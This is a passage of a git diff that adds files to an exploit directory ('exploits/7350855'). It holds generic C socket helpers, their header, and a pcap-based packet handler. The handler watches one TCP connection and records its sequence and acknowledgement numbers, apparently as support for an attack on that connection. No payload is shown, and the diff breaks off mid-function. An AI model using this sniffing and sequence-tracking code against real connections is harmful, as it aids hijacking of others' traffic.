421 flags = ifrcopy.ifr_flags;
422 if ((flags & IFF_UP) == 0)
423 continue;
424
425 ifi = calloc(1, sizeof(struct ifi_info));
426 if (ifi == NULL)
427 return (NULL);
428 *ifipnext = ifi;
429 ifipnext = &ifi->ifi_next;
430 ifi->ifi_flags = flags;
431 ifi->ifi_myflags = myflags;
432 memcpy(ifi->ifi_name, ifr->ifr_name, IFI_NAME);
433 ifi->ifi_name[IFI_NAME - 1] = '\0';
434
435#ifdef DEBUG
436 printf("got: %s\n", ifi->ifi_name);
437#endif
438
439 switch (ifr->ifr_addr.sa_family) {
440 case AF_INET:
441 sinptr = (struct sockaddr_in *) &ifr->ifr_addr;
442 memcpy(&ifi->ifi_saddr, &sinptr->sin_addr, sizeof(struct in_addr));
443 if (ifi->ifi_addr == NULL) {
444 ifi->ifi_addr = calloc(1, sizeof(struct sockaddr_in));
445 if (ifi->ifi_addr == NULL)
446 return (NULL);
447 memcpy(ifi->ifi_addr, sinptr, sizeof(struct sockaddr_in));
448 }
449 break;
450 default:
451 break;
452 }
453 }
454 free (buf);
455 return (ifihead);
456}
457
458
459void
460net_boundfree (bound *bf)
461{
462 close (bf->bs);
463 free (bf);
464 return;
465}
466
467
468bound *
469net_bind (char *ip, unsigned short int port)
470{
471 bound *b;
472 int br, gsnr, lr;
473 int len, reusetmp;
474 struct sockaddr_in *sap;
475
476 if (port >= 65536)
477 return (NULL);
478
479 b = calloc(1, sizeof (bound));
480 if (b == NULL)
481 return (NULL);
482 b->bs = socket (AF_INET, SOCK_STREAM, 0);
483 if (b->bs == -1)
484 goto berror;
485
486 reusetmp = 1;
487#ifdef SO_REUSEPORT
488 if (setsockopt (b->bs, SOL_SOCKET, SO_REUSEPORT, &reusetmp, sizeof (reusetmp)) == -1)
489 goto berror;
490#else
491 if (setsockopt (b->bs, SOL_SOCKET, SO_REUSEADDR, &reusetmp, sizeof (reusetmp)) == -1)
492 goto berror;
493#endif
494
495 sap = (struct sockaddr_in *) &b->bsa;
496 sap->sin_family = AF_INET;
497 sap->sin_port = htons (port); /* 0 = ephemeral */
498
499 if (ip != NULL) {
500 if (strcmp (ip, "*") == 0) {
501 sap->sin_addr.s_addr = htonl (INADDR_ANY);
502 } else {
503 if (!(sap->sin_addr.s_addr = net_resolve (ip))) {
504 goto berror;
505 }
506 }
507 } else {
508 sap->sin_addr.s_addr = htonl (INADDR_ANY);
509 }
510
511 br = bind (b->bs, (struct sockaddr *) &b->bsa, sizeof (struct sockaddr));
512 if (br == -1)
513 goto berror;
514
515 len = sizeof (struct sockaddr);
516 gsnr = getsockname (b->bs, (struct sockaddr *) &b->bsa, &len);
517 b->port = ntohs (sap->sin_port);
518 if (gsnr == -1)
519 goto berror;
520
521 lr = listen (b->bs, 16);
522 if (lr == -1) {
523 goto berror;
524 }
525 return (b);
526
527berror:
528 free (b);
529
530 return(NULL);
531}
532
533
534unsigned long int
535net_resolve (char *host)
536{
537 long i;
538 struct hostent *he;
539
540 i = inet_addr(host);
541 if (i == -1) {
542 he = gethostbyname(host);
543 if (he == NULL) {
544 return (0);
545 } else {
546 return (*(unsigned long *) he->h_addr);
547 }
548 }
549 return (i);
550}
551
552
553int
554net_assignaddr (int sd, char *sourceip, unsigned short int sourceport)
555{
556 struct sockaddr_in sourcedef;
557
558 if (sourceip && strcmp (sourceip, "*") == 0)
559 sourceip = NULL;
560
561 if (sourceip == NULL && sourceport == 0)
562 return (1);
563
564 /* is the IP available on the local host ? (not really necessary) */
565 if (sourceip && !net_testvip (sourceip)) {
566 return (0);
567 }
568
569 memset (&sourcedef, '\0', sizeof (struct sockaddr_in));
570
571 /* if sourceip is specified, set it */
572 if (sourceip) {
573 sourcedef.sin_addr.s_addr = net_resolve (sourceip);
574 } else {
575 sourcedef.sin_addr.s_addr = htonl (INADDR_ANY);
576 }
577 if (sourceport)
578 sourcedef.sin_port = htons (sourceport);
579
580 /* now set the source on the socket by binding it */
581 if (bind (sd, (struct sockaddr *) &sourcedef, sizeof (struct sockaddr_in)) == -1) {
582 return (0);
583 }
584
585 return (1);
586}
587
588
589int
590net_connect (struct sockaddr_in *cs, char *server, unsigned short int port, char *sourceip,
591 unsigned short int sourceport, int sec)
592{
593 int n,
594 len,
595 error,
596 flags;
597 int fd;
598 struct timeval tv;
599 fd_set rset, wset;
600 struct sockaddr_in csa;
601
602 if (cs == NULL)
603 cs = &csa;
604
605 /* first allocate a socket */
606 cs->sin_family = AF_INET;
607 cs->sin_port = htons (port);
608 fd = socket (cs->sin_family, SOCK_STREAM, 0);
609 if (fd == -1)
610 return (-1);
611
612 /* check wether we should change the defaults */
613 if (net_assignaddr (fd, sourceip, sourceport) == 0) {
614 close (fd);
615 return (-1);
616 }
617
618 if (!(cs->sin_addr.s_addr = net_resolve (server))) {
619 close (fd);
620 return (-1);
621 }
622
623 flags = fcntl (fd, F_GETFL, 0);
624 if (flags == -1) {
625 close (fd);
626 return (-1);
627 }
628 n = fcntl (fd, F_SETFL, flags | O_NONBLOCK);
629 if (n == -1) {
630 close (fd);
631 return (-1);
632 }
633
634 error = 0;
635
636 n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in));
637 if (n < 0) {
638 if (errno != EINPROGRESS) {
639 close (fd);
640 return (-1);
641 }
642 }
643 if (n == 0)
644 goto done;
645
646 FD_ZERO(&rset);
647 FD_ZERO(&wset);
648 FD_SET(fd, &rset);
649 FD_SET(fd, &wset);
650 tv.tv_sec = sec;
651 tv.tv_usec = 0;
652
653 n = select(fd + 1, &rset, &wset, NULL, &tv);
654 if (n == 0) {
655 close(fd);
656 errno = ETIMEDOUT;
657 return (-1);
658 }
659 if (n == -1)
660 return (-1);
661
662 if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) {
663 if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) {
664 len = sizeof(error);
665 if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) {
666 errno = ETIMEDOUT;
667 return (-1);
668 }
669 if (error == 0) {
670 goto done;
671 } else {
672 errno = error;
673 return (-1);
674 }
675 }
676 } else
677 return (-1);
678
679done:
680 n = fcntl(fd, F_SETFL, flags);
681 if (n == -1)
682 return (-1);
683 return (fd);
684}
685
686
687int
688net_tline (char *buf, int bufsize)
689{
690 int p;
691
692 for (p = 0; p < bufsize; p++) {
693 if (buf[p] == '\n')
694 return (p + 1);
695 }
696 return (-1);
697}
698
699#define LINET_A 1024
700
701
702int
703net_rlineta (int fd, char **buf, int sec)
704{
705 int n; /* return value */
706 int bufsize = 0;
707
708 *buf = NULL;
709
710 do {
711 bufsize += LINET_A;
712 *buf = realloc (*buf, bufsize);
713 if (*buf == NULL)
714 return (-1);
715
716 n = net_rlinet (fd, *buf + bufsize - LINET_A, LINET_A, sec);
717
718 if (n == -1)
719 goto rlinetaerr;
720 if (n >= 0)
721 goto rlinetastrip;
722 } while (n == -2);
723
724rlinetastrip:
725 *buf = realloc (*buf, strlen (*buf) + 1);
726 return (strlen (*buf));
727
728rlinetaerr:
729 free (*buf);
730 return (-1);
731}
732
733
734int
735net_rlinet (int fd, char *buf, int bufsize, int sec)
736{
737 int n;
738 unsigned long int rb = 0;
739 struct timeval tv_start, tv_cur;
740
741 memset(buf, '\0', bufsize);
742 (void) gettimeofday(&tv_start, NULL);
743
744 do {
745 (void) gettimeofday(&tv_cur, NULL);
746 if (sec > 0) {
747 if ((((tv_cur.tv_sec * 1000000) + (tv_cur.tv_usec)) -
748 ((tv_start.tv_sec * 1000000) + (tv_start.tv_usec))) > (sec * 1000000)) {
749 return (-1);
750 }
751 }
752 n = net_rtimeout(fd, net_readtimeout);
753 if (n <= 0) {
754 return (-1);
755 }
756 n = read(fd, buf, 1);
757 if (n <= 0) {
758 return (n);
759 }
760 rb++;
761 if (*buf == '\n')
762 return (rb);
763 buf++;
764 if (rb >= bufsize)
765 return (-2); /* buffer full */
766 } while (1);
767}
768
769
770long int
771net_rbuf (int fd, char **dst)
772{
773 long int ml = 0;
774 long int read_bytes;
775 int p;
776
777 *dst = NULL;
778
779 while ((p = net_rtimeout(fd, net_readtimeout)) == 1) {
780 *dst = (char *) realloc(*dst, ml + NET_BSIZE);
781 if (*dst == NULL)
782 return (-1);
783 ml += read_bytes = read(fd, *dst + ml, NET_BSIZE);
784 if (read_bytes == 0) {
785 *dst = (char *) realloc(*dst, ml);
786 if ((*dst == NULL) && (ml == 0)) {
787 return (1);
788 } else if (*dst == NULL) {
789 return (-1);
790 } else {
791 return (ml);
792 }
793 }
794 }
795 return (-1);
796}
797
798
799int
800net_rbuft (int fd, char *dst, unsigned long int dsize)
801{
802 unsigned long int bl = 0, m;
803 int p;
804
805 while (bl < dsize) {
806 p = net_rtimeout(fd, net_readtimeout);
807 if ((p == 0) || (p == -1)) {
808 return (-1);
809 }
810
811 m = read(fd, dst + bl, (dsize - bl));
812 if ((m == 0) || (m == -1)) {
813 return (-1);
814 }
815 bl += m;
816 }
817 return (1);
818}
819
820
821int
822net_rtimeout (int fd, int sec)
823{
824 fd_set rset;
825 struct timeval tv;
826 int n, error, flags;
827
828 error = 0;
829 flags = fcntl(fd, F_GETFL, 0);
830 n = fcntl(fd, F_SETFL, flags | O_NONBLOCK);
831 if (n == -1)
832 return (-1);
833
834 FD_ZERO(&rset);
835 FD_SET(fd, &rset);
836 tv.tv_sec = sec;
837 tv.tv_usec = 0;
838
839 /* now we wait until more data is received then the tcp low level watermark,
840 * which should be setted to 1 in this case (1 is default)
841 */
842
843 n = select(fd + 1, &rset, NULL, NULL, &tv);
844 if (n == 0) {
845 n = fcntl(fd, F_SETFL, flags);
846 if (n == -1)
847 return (-1);
848 errno = ETIMEDOUT;
849 return (-1);
850 }
851 if (n == -1) {
852 return (-1);
853 }
854 /* socket readable ? */
855 if (FD_ISSET(fd, &rset)) {
856 n = fcntl(fd, F_SETFL, flags);
857 if (n == -1)
858 return (-1);
859 return (1);
860 } else {
861 n = fcntl(fd, F_SETFL, flags);
862 if (n == -1)
863 return (-1);
864 errno = ETIMEDOUT;
865 return (-1);
866 }
867}
868
869
870void
871net_write (int fd, const char *str, ...)
872{
873 char tmp[1025];
874 va_list vl;
875 int i;
876
877 va_start(vl, str);
878 memset(tmp, 0, sizeof(tmp));
879 i = vsnprintf(tmp, sizeof(tmp), str, vl);
880 va_end(vl);
881
882#ifdef DEBUG
883 printf("[snd] %s\n", tmp);
884#endif
885
886 send(fd, tmp, i, 0);
887 return;
888}
889
890
891int
892net_printip (struct in_addr *ia, char *str, size_t len)
893{
894 unsigned char *ipp;
895
896 ipp = (unsigned char *) &ia->s_addr;
897 snprintf (str, len - 1, "%d.%d.%d.%d", ipp[0], ipp[1], ipp[2], ipp[3]);
898
899 return (0);
900}
901
902
903int
904net_printipa (struct in_addr *ia, char **str)
905{
906 unsigned char *ipp;
907
908 ipp = (unsigned char *) &ia->s_addr;
909 *str = calloc (1, 256);
910 if (*str == NULL)
911 return (1);
912
913 snprintf (*str, 255, "%d.%d.%d.%d", ipp[0], ipp[1], ipp[2], ipp[3]);
914 *str = realloc (*str, strlen (*str) + 1);
915
916 return ((*str == NULL) ? 1 : 0);
917}
918
diff --git a/exploits/7350855/network.h b/exploits/7350855/network.h
new file mode 100644
index 0000000..3e726d0
--- /dev/null
+++ b/exploits/7350855/network.h
@@ -0,0 +1,367 @@
1/* scut's leet network library ;)
2 * 1999 (c) scut
3 *
4 * networking code
5 */
6
7#ifndef SCUT_NETWORK_H
8#define SCUT_NETWORK_H
9
10#include <sys/socket.h>
11#include <net/if.h>
12#include <netinet/in.h>
13#include <stdio.h>
14
15#define NET_READTIMEOUT 180
16#define NET_CONNTIMEOUT 60
17#define NET_IDENTTIMEOUT 15
18
19#define IFI_NAME 16
20#define IFI_HADDR 8
21
22/* struct ifi_info
23 *
24 * a linked list giving information about all the network interfaces available
25 * a pointer to this struct list is returned by net_get_ifi.
26 */
27
28struct ifi_info {
29 char ifi_name[IFI_NAME];
30 u_char ifi_haddr[IFI_HADDR];
31 u_short ifi_hlen;
32 short ifi_flags;
33 short ifi_myflags;
34 struct sockaddr *ifi_addr;
35 struct in_addr ifi_saddr;
36 struct ifi_info *ifi_next;
37};
38
39#define IFI_ALIAS 1
40
41typedef struct bound {
42 int bs; /* bound socket */
43 unsigned short port; /* port we bound to */
44 struct sockaddr bsa; /* bs_in */
45} bound;
46
47extern int net_readtimeout;
48extern int net_conntimeout;
49extern int net_identtimeout;
50
51
52/* net_socks_connect
53 *
54 * relays through an open socks 5 server (NO AUTH type)
55 * returns a socket descriptor which is already connected
56 */
57
58int net_socks_connect (char *socks, unsigned short int sport,
59 char *server, unsigned short int port, int sec);
60
61
62/* net_socks_put_s5info
63 *
64 * insert socks 5 compatible relay information into socket s5s,
65 * used to relay over more then just one socks server
66 */
67
68int net_socks_put_s5info (int s5s, char *server,
69 unsigned short int port, int sec);
70
71
72/* net_parseip
73 *
74 * read an ip in the format "1.1.1.1:299" or "blabla:481" into
75 * the char pointer *ip and into the port *port
76 *
77 * return 0 on failure
78 * return 1 on success
79 */
80
81int net_parseip (char *inp, char **ip, unsigned short int *port);
82
83
84/* net_getlocalip
85 *
86 * give back the main IP of the local machine
87 *
88 * return the local IP address as string on success
89 * return NULL on failure
90 */
91
92char *net_getlocalip (void);
93
94
95/* net_peeraddress
96 *
97 * return a pointer to a string representation of the remote IP address of
98 * the already connected socket `socket'
99 *
100 * return NULL on failure
101 * return string pointer on succes
102 */
103
104char * net_peeraddress (int socket);
105
106
107/* net_addrpair
108 *
109 * find address pair of an established TCP connection of socket `socket'.
110 *
111 * return 0 on success
112 * return 1 on failure
113 */
114
115int
116net_addrpair (int socket, struct in_addr *src_ip, unsigned short int *src_prt,
117 struct in_addr *dst_ip, unsigned short int *dst_prt);
118
119
120/* net_peername
121 *
122 * return a pointer that points to an alloced character array that contains
123 * the fully qualified hostname for the remote host that is connected using
124 * the socket descriptor `socket'.
125 +
126 * return NULL on failure
127 * return pointer to hostname or quad-dotted IP address
128 */
129
130char *net_peername (int socket);
131
132
133/* net_descriptify
134 *
135 * descriptify a socket `socket' ;)
136 *
137 * return -1 on failure
138 * return file descriptor on success
139 */
140
141FILE *net_descriptify (int socket);
142
143
144/* net_ident
145 *
146 * ident a connection identified by the host:port pairs on both sides,
147 * returning the ident in *ident
148 *
149 * return 1 on success
150 * return -1 on failure
151 */
152
153int net_ident (char **ident, struct sockaddr_in *locals, unsigned short int localport,
154 struct sockaddr_in *remotes, unsigned short int remoteport);
155
156
157/* net_accept
158 *
159 * accept a connection from socket s, and stores the connection
160 * into cs.
161 * wait a maximum amount of maxsec seconds for connections
162 * maxsec can also be zero (infinite wait, until connection)
163 *
164 * return 0 if no connection has been made within maxsec seconds
165 * return -1 if an error appears
166 * return the socket number if a connection has been made
167 */
168
169int net_accept (int s, struct sockaddr_in *cs, int maxsec);
170
171
172/* net_get_ifi
173 *
174 * get network interface information
175 *
176 * return NULL on failure
177 * return a pointer to a linked list structure ifi_info (see above)
178 */
179
180struct ifi_info *net_ifi_get (int family, int doaliases);
181
182
183/* net_ifi_free
184 *
185 * free the linked list associated with `tf'.
186 *
187 * return in any case
188 */
189
190void net_ifi_free (struct ifi_info *tf);
191
192
193/* net_testvip
194 *
195 * test if virtual ip/hostname is available for use on the local machine,
196 *
197 * return 1 if the ip can be used
198 * return 0 if the ip/host is not available
199 */
200
201int net_testvip (char *ip);
202
203
204/* net_bind
205 *
206 * bind a socket to an ip:port on the local machine,
207 * `ip' can be either NULL (bind to all IP's on the host), or a pointer
208 * to a virtual host name, or a real IP, or "*" for any.
209 * `port' can be either 0 (ephemeral port), or any free port.
210 *
211 * return NULL on failure
212 * return pointer to bound structure on success
213 */
214
215bound *net_bind (char *ip, unsigned short int port);
216
217
218/* net_boundfree
219 *
220 * free the bound structure pointed to by `bf'
221 *
222 * return in any case
223 */
224
225void net_boundfree (bound *bf);
226
227
228/* net_resolve
229 *
230 * resolve a hostname pointed to by `host' into a s_addr return value
231 *
232 * return the correct formatted `s_addr' for this host on success
233 * return 0 on failure
234 */
235
236unsigned long int net_resolve (char *host);
237
238
239/* net_assignaddr
240 *
241 * assign an IP address and port to a socket
242 * sourceip can be an IP or hostname that is available on the local host,
243 * or NULL/"*" to let the kernel choose one, same applies to sourceport,
244 * it can either be zero (ephemeral port choosen by the kernel) or a
245 * valid port number
246 *
247 * return 1 on success
248 * return 0 on failure
249 */
250
251int net_assignaddr (int sd, char *sourceip, unsigned short int sourceport);
252
253
254/* net_connect
255 *
256 * connect to the given `server' and `port' with a max timeout of `sec'.
257 * initialize the sockaddr_in struct `cs' correctly (ipv4), accept any
258 * ip "123.123.123.123" or hostname "localhost", "www.yahoo.de" as hostname.
259 * create a new socket and return either -1 if failed or
260 * the connected socket if connection has been established within the
261 * timeout limit.
262 *
263 * the routine is still IPv4 biased :-/
264 * with `sourceip'/`sourceportÄ you MAY specify the source IP and source port
265 * to use for the connection, but you can set the ip or port to NULL/0,
266 * to choose the default IP and an ephemeral port. this was added later in
267 * this library, so please update your sources.
268 *
269 * return -1 on failure
270 * return socket if success
271 */
272
273int net_connect (struct sockaddr_in *cs, char *server, unsigned short int port, char *sourceip,
274 unsigned short int sourceport, int sec);
275
276
277/* net_rtimeout
278 *
279 * waits max `sec' seconds for fd to become readable
280 *
281 * return -1 on error (errno set)
282 * return 1 on readability
283 */
284
285int net_rtimeout (int fd, int sec);
286
287
288/* net_rbuf
289 *
290 * allocate memory and read socket data to `dst' until the connection
291 * gets closed.
292 *
293 * return n if success (n = number of bytes read)
294 * return -1 if failed
295 */
296
297long int net_rbuf (int fd, char **dst);
298#define NET_BSIZE 4096 /* blocksize for pre-allocation */
299
300
301/* net_rbuft
302 *
303 * read `dsize' bytes into `dst' from `fd', with timeout
304 *
305 * return 1 on success
306 * return -1 on failure
307 */
308int net_rbuft (int fd, char *dst, unsigned long int dsize);
309
310
311/* net_rlinet
312 *
313 * read a line from socket descriptor with timeout to buffer
314 * if sec = 0, then only a continuous stream of data is required, not
315 * an overall timeout.
316 *
317 * return -1 on timeout
318 * return 0 on connection close
319 * return length of readen line (including '\n')
320 *
321 * net_rlineta
322 * same as net_rlinet, but allocs the memory itself
323 */
324
325int net_rlineta (int fd, char **buf, int sec);
326int net_rlinet (int fd, char *buf, int bufsize, int sec);
327
328
329/* net_tline
330 *
331 * return length if string `buf' with a maximum length of `bufsize'
332 * contains '\n'
333 *
334 * return -1 if no '\n' in string
335 */
336
337int net_tline (char *buf, int bufsize);
338
339
340/* net_write
341 *
342 * print a formatted string to a socket, see syntax of printf
343 *
344 * return in any case
345 */
346
347void net_write (int fd, const char *str, ...);
348
349
350/* net_printip
351 *
352 * print an IP address stored in the struct in_addr pointed to by `ia' to a
353 * string `str' with a maximum length of `len'.
354 *
355 * return 0 on success
356 * return 1 on failure
357 *
358 * net_printipa behaves the same way, except it allocates memory and let
359 * `*str' point to the string
360 */
361
362int net_printip (struct in_addr *ia, char *str, size_t len);
363int net_printipa (struct in_addr *ia, char **str);
364
365
366#endif
367
diff --git a/exploits/7350855/network.o b/exploits/7350855/network.o
new file mode 100644
index 0000000..5d3084e
--- /dev/null
+++ b/exploits/7350855/network.o
Binary files differ
diff --git a/exploits/7350855/none.tgz b/exploits/7350855/none.tgz
new file mode 100644
index 0000000..161a9da
--- /dev/null
+++ b/exploits/7350855/none.tgz
Binary files differ
diff --git a/exploits/7350855/packet.c b/exploits/7350855/packet.c
new file mode 100644
index 0000000..686ad81
--- /dev/null
+++ b/exploits/7350855/packet.c
@@ -0,0 +1,487 @@
1/* packet handling functions (originally from zodiac)
2 *
3 * packet handling and queueing routines
4 * by scut
5 *
6 * -Smiler
7 * Changed pq_grind to remove link layer. Changed other functions to
8 * accept ip packets instead of ethernet packets.
9 */
10
11#include <sys/types.h>
12#include <sys/socket.h>
13#include <sys/time.h>
14#include <netinet/in.h>
15#include <arpa/inet.h>
16#include <unistd.h>
17#include <stdio.h>
18#include <stdlib.h>
19#include <string.h>
20#include <semaphore.h>
21#include <pthread.h>
22#include <pcap.h>
23#include "common.h"
24#include "packet.h"
25#include "sniff.h"
26
27
28struct in_addr localip;
29
30
31/* watching data. should be set before any pq_* functions are active
32 */
33pthread_mutex_t watch_mutex = PTHREAD_MUTEX_INITIALIZER;
34
35int watch = 0;
36struct in_addr watch_ipsrc,
37 watch_ipdst;
38unsigned long int watch_src_seq,
39 watch_dst_seq;
40unsigned long int watch_src_ack,
41 watch_dst_ack;
42unsigned short int watch_sport,
43 watch_dport;
44
45/* pq_grind
46 *
47 * grind the packets received from the sniffer thread, stripping ethernet
48 * header, filter non-TCP packets, add them to the packet queue, then raise
49 * the correct semaphore.
50 *
51 * `sinfo' gives information about the sniffing thread and the packet queue,
52 * `pkthdr' is from the pcap handler and `pkt' contains the real packet data.
53 */
54
55void
56pq_grind (void *sinfov, struct pcap_pkthdr *pkthdr, u_char *pkt)
57{
58 sniff_info * sinfo = (sniff_info *) sinfov;
59
60
61 if (sinfo->device->linktype == DLT_EN10MB) {
62 if (((eth_hdr *) pkt)->ether_type != htons (ETHERTYPE_IP))
63 goto pq_glend;
64 }
65 pkt += sinfo->device->linkhdrlen;
66 pkthdr->caplen -= sinfo->device->linkhdrlen;
67
68 if (pq_filter (pkt, pkthdr->caplen) == 0)
69 goto pq_glend;
70
71 /* update connection table
72 */
73#if 0
74 /* compute real IP/TCP packet size and append it to the right queue
75 */
76 if (pq_add (pkt, pkthdr->caplen, &pkthdr->ts, sinfo->pq_thd))
77 goto pq_glend;
78#endif
79
80 /* notify the corresponding thread about the new packet in it's queue
81 */
82 pq_notify (sinfo->pq_thd);
83
84pq_glend:
85 return;
86}
87
88
89/* pq_add
90 *
91 * append a packet queue description (pq_desc) with packet content `p_data' to
92 * the packet queue associated with thread `thd'.
93 * the packet data is copied, so the packet data pointer `p_data' has to be
94 * freed by the calling function. the time value `rcv_time' is the time when the
95 * packet was sniffed from the pcap library.
96 *
97 * return 0 on success
98 * will never fail tho ;-D
99 */
100
101int
102pq_add (unsigned char *p_data, unsigned long int p_size,
103 struct timeval *rcv_time, pq_thread *pqt)
104{
105 pq_desc * np; /* new packet in queue */
106
107
108 np = xcalloc (1, sizeof (pq_desc));
109
110 /* initialize the packet mutex and get hold of it
111 */
112 pthread_mutex_init (&np->pq_mutex, NULL);
113 pthread_mutex_lock (&np->pq_mutex);
114
115 /* get memory for the packet
116 */
117 np->p_len = p_size;
118 np->p_data = xcalloc (1, np->p_len);
119
120 /* copy packet data, create hash and copy time values
121 */
122 memcpy (np->p_data, p_data, np->p_len);
123 np->next = NULL;
124 memcpy (&np->rcv_time, rcv_time, sizeof (struct timeval));
125
126 /* now add the packet to the thread queue
127 */
128 pthread_mutex_lock (&pqt->pq_mutex);
129
130 /* no packet added yet, then just modify the root pointer, else
131 * append the packet
132 */
133 if (pqt->root == NULL) {
134 pqt->root = np;
135 } else {
136 pq_desc *cur = pqt->root; /* help pointers to step through the list */
137 pq_desc *last = pqt->root;
138
139 /* cycle through linked list, until end is reached
140 */
141 while (cur != NULL) {
142 last = cur;
143
144 pthread_mutex_lock (&last->pq_mutex);
145 cur = last->next;
146 pthread_mutex_unlock (&last->pq_mutex);
147 }
148
149 pthread_mutex_lock (&last->pq_mutex);
150 last->next = np;
151 pthread_mutex_unlock (&last->pq_mutex);
152 }
153
154 pthread_mutex_unlock (&pqt->pq_mutex);
155 pthread_mutex_unlock (&np->pq_mutex);
156
157 /* added packet successfully
158 */
159 return (0);
160}
161
162
163/* pq_handle
164 *
165 * main (threaded) packet processor routine
166 */
167
168void *
169pq_handle (pq_thread *pq)
170{
171 pq_desc *packet; /* packet pointer */
172 ip_hdr *ip; /* IP packet header pointer */
173 tcp_hdr *tcp; /* TCP packet header pointer */
174 unsigned char *data; /* packet data pointer :-) */
175 char *p_data;
176
177
178 do {
179 unsigned int psize;
180
181 do {
182 sem_wait (&pq->pq_active); /* wait for a packet */
183
184 /* get, unlink and then process the packet
185 */
186 packet = pq_get (pq);
187 } while (packet == NULL);
188
189 p_data = packet->p_data;
190
191 pq_offset (p_data, &ip, &tcp, &data);
192
193/* hexdump ("packets-rawdns", (unsigned char *) ip, (packet->p_len - sizeof (eth_hdr)));
194*/
195 psize = packet->p_len;
196// XXX dns_handle (ip, udp, dns, data, psize);
197
198#if 0
199 /* now, if the packet is directed to port 53, we add the id to the queue
200 * then update the display. but first check whether it is a self-originated
201 * packet, then skip the whole procedure.
202 */
203 if (udp->uh_dport == htons (53) && dns_tag_check_n (&ip->ip_src,
204 &ip->ip_dst, htons (udp->uh_sport), htons (udp->uh_dport),
205 htons (dns->id)) == 0)
206 {
207 id_add (ip->ip_src, ntohs (dns->id), &packet->rcv_time);
208 id_qprint (ms, ms->winid);
209 }
210#endif
211
212 pq_free (packet);
213
214 } while (1);
215
216 return (NULL);
217}
218
219
220/* pq_create
221 *
222 * create a packet handler
223 *
224 * return NULL on failure
225 * return pointer to pq_thread structure on success
226 */
227
228pq_thread *
229pq_create (void)
230{
231 int n; /* temporary return value */
232 pq_thread *pq_new; /* main thread structure of new thread */
233
234 pq_new = xcalloc (1, sizeof (pq_thread));
235
236 pthread_mutex_init (&pq_new->pq_mutex, NULL);
237 pq_new->pq_count = pq_new->pq_curcount = 0;
238 sem_init (&pq_new->pq_active, 0, 0);
239
240 n = pthread_create (&pq_new->pq_tid, NULL, (void *) pq_handle, (void *) pq_new);
241 if (n == -1) {
242 pq_destroy (pq_new);
243
244 return (NULL);
245 }
246
247 return (pq_new);
248}
249
250
251void
252pq_destroy (pq_thread *pq)
253{
254 pthread_mutex_destroy (&pq->pq_mutex);
255 sem_destroy (&pq->pq_active);
256
257 free (pq);
258
259 return;
260}
261
262/* pq_notify
263 *
264 * notify the correct thread using a semaphore
265 */
266
267void
268pq_notify (pq_thread *pqt)
269{
270 /* raise the semaphore
271 */
272 sem_post (&pqt->pq_active);
273
274 return;
275}
276
277
278/* pq_get
279 *
280 * return one packet from the packet stack pointed to by `pqt'.
281 *
282 * return NULL on failure
283 * return pointer to packet description on success
284 */
285
286pq_desc *
287pq_get (pq_thread *pqt)
288{
289 pq_desc *next;
290 pq_desc *this = NULL;
291
292 pthread_mutex_lock (&pqt->pq_mutex);
293
294 next = pqt->root;
295
296 if (next != NULL) {
297
298 /* if there is a packet, unlink first one, and shift all
299 * following packets
300 */
301 pthread_mutex_lock (&pqt->root->pq_mutex);
302 next = pqt->root->next;
303 pthread_mutex_unlock (&pqt->root->pq_mutex);
304
305 /* shift packets, we are helding pq_mutex tho :)
306 */
307 this = pqt->root;
308 pqt->root = next;
309
310 }
311
312 pthread_mutex_unlock (&pqt->pq_mutex);
313
314 return (this);
315}
316
317/* pq_remove
318 *
319 * remove the first packet from packet thread queue `thd'.
320 *
321 * return in any case
322 */
323
324void
325pq_remove (pq_thread *pqt)
326{
327 pq_desc *next;
328
329 pthread_mutex_lock (&pqt->pq_mutex);
330
331 if (pqt->root != NULL) {
332 pthread_mutex_lock (&pqt->root->pq_mutex);
333 next = pqt->root->next;
334 pthread_mutex_unlock (&pqt->root->pq_mutex);
335
336 pq_free (pqt->root);
337 pqt->root = next;
338 }
339
340 pthread_mutex_unlock (&pqt->pq_mutex);
341 return;
342}
343
344
345/* pq_free
346 *
347 * free a pq_desc structure with all associated data
348 */
349
350void
351pq_free (pq_desc *packet)
352{
353 /* some sanity checking inside :)
354 */
355 if (packet == NULL)
356 return;
357
358 /* if data is associated, free it
359 */
360 if (packet->p_data != NULL) {
361 free (packet->p_data);
362 }
363
364 /* destroy mutex and free structure
365 */
366 pthread_mutex_destroy (&packet->pq_mutex);
367 free (packet);
368
369 return;
370}
371
372
373/* pq_filter
374 *
375 * check wether packet with packet data pointed to by `p_data' is a UDP
376 * nameserver packet or not
377 *
378 * return 1 if it is
379 * return 0 if it is not
380 */
381
382int
383pq_filter (unsigned char *p_data, unsigned long p_size)
384{
385 int match = 0;
386 unsigned int iplen;
387 ip_hdr * ip = NULL;
388 tcp_hdr * tcp = NULL;
389
390
391 if (p_size < (sizeof (ip_hdr) + sizeof (tcp_hdr)))
392 return (0);
393
394 /* now check if the ip header encloses a udp packet
395 */
396 ip = (ip_hdr *) (p_data); /* caveat here: don't miss brackets ! */
397 if (ip->ip_p != IPPROTO_TCP)
398 return (0);
399
400 iplen = ip->ip_hl << 2;
401 if (iplen > p_size) /* XXX: is this correct ;) ? */
402 return (0);
403
404
405 tcp = (tcp_hdr *) (p_data + iplen);
406 tcp->th_sport = ntohs (tcp->th_sport);
407 tcp->th_dport = ntohs (tcp->th_dport);
408
409 /* quick and ugly wanted-matching
410 */
411 pthread_mutex_lock (&watch_mutex);
412 if (tcp->th_sport == watch_sport &&
413 tcp->th_dport == watch_dport &&
414 ip->ip_src.s_addr == watch_ipsrc.s_addr &&
415 ip->ip_dst.s_addr == watch_ipdst.s_addr)
416 {
417 match = 1;
418 } else if (tcp->th_sport == watch_dport &&
419 tcp->th_dport == watch_sport &&
420 ip->ip_src.s_addr == watch_ipdst.s_addr &&
421 ip->ip_dst.s_addr == watch_ipsrc.s_addr)
422 {
423 match = 1;
424 }
425
426 if (watch == 0)
427 match = 0;
428
429 /* XXX kludge: update seq# here */
430 if (match == 1) {
431 if (ip->ip_src.s_addr == watch_ipsrc.s_addr &&
432 tcp->th_sport == watch_sport)
433 {
434 watch_src_seq = ntohl (tcp->th_seq);
435 watch_src_ack = ntohl (tcp->th_ack);
436#ifdef DEBUG
437 fprintf (stderr, "(%5hu -> %5hu) src #: 0x%08lx | 0x%08lx\n",
438 tcp->th_sport, tcp->th_dport,
439 watch_src_seq, watch_src_ack);
440#endif
441 } else if (ip->ip_src.s_addr == watch_ipdst.s_addr &&
